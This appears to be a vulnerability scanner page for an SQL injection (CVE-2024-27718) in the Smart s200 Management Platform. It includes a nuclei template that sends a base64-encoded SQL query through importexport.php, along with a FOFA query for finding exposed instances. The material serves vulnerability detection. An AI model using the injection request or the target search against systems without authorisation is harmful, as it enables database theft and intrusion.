Smart s200 Management Platform v.S200 - SQL Injection

highseverity

1.1%likelihood of exploitation, next 30 days

66%of all CVEs are less likely

Readycheck to confirm it

SQL Injection vulnerability in Baizhuo Network Smart s200 Management Platform v.S200 allows a local attacker to obtain sensitive information and escalate privileges via the /importexport.php component.

Impact

Authenticated attackers can extract sensitive database information via SQL injection in the importexport.php component.

Fix

Update Smart s200 Management Platform to a version that addresses CVE-2024-27718.

How to confirm it

Send: GET /importexport.php?sql={{base64(cmd)}}&type=exportexcelbysql
Positive when: contains "{{md5(num)}}" AND contains in header "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2024-27718 -u <target>

The full check

id: CVE-2024-27718

info:
  name: Smart s200 Management Platform v.S200 - SQL Injection
  author: DhiyaneshDk
  severity: high
  description: |
    SQL Injection vulnerability in Baizhuo Network Smart s200 Management Platform v.S200 allows a local attacker to obtain sensitive information and escalate privileges via the /importexport.php component.
  impact: |
    Authenticated attackers can extract sensitive database information via SQL injection in the importexport.php component.
  remediation: |
    Update Smart s200 Management Platform to a version that addresses CVE-2024-27718.
  reference:
    - https://github.com/tldjgggg/cve/blob/main/sql.md
  classification:
    epss-score: 0.01101
    epss-percentile: 0.65965
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="Smart管理平台"
  tags: cve,cve2024,smart-s45f,sqli,vuln

variables:
  num: "{{rand_int(9000000, 9999999)}}"
  cmd: "select+9,md5({{num}}),9"

http:
  - raw:
      - |
        GET /importexport.php?sql={{base64(cmd)}}&type=exportexcelbysql HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"

      - type: word
        part: header
        words:
          - 'application/octet-stream'

      - type: status
        status:
          - 200

References

https://github.com/tldjgggg/cve/blob/main/sql.md

Use this check only on systems you are authorised to test. Where the data comes from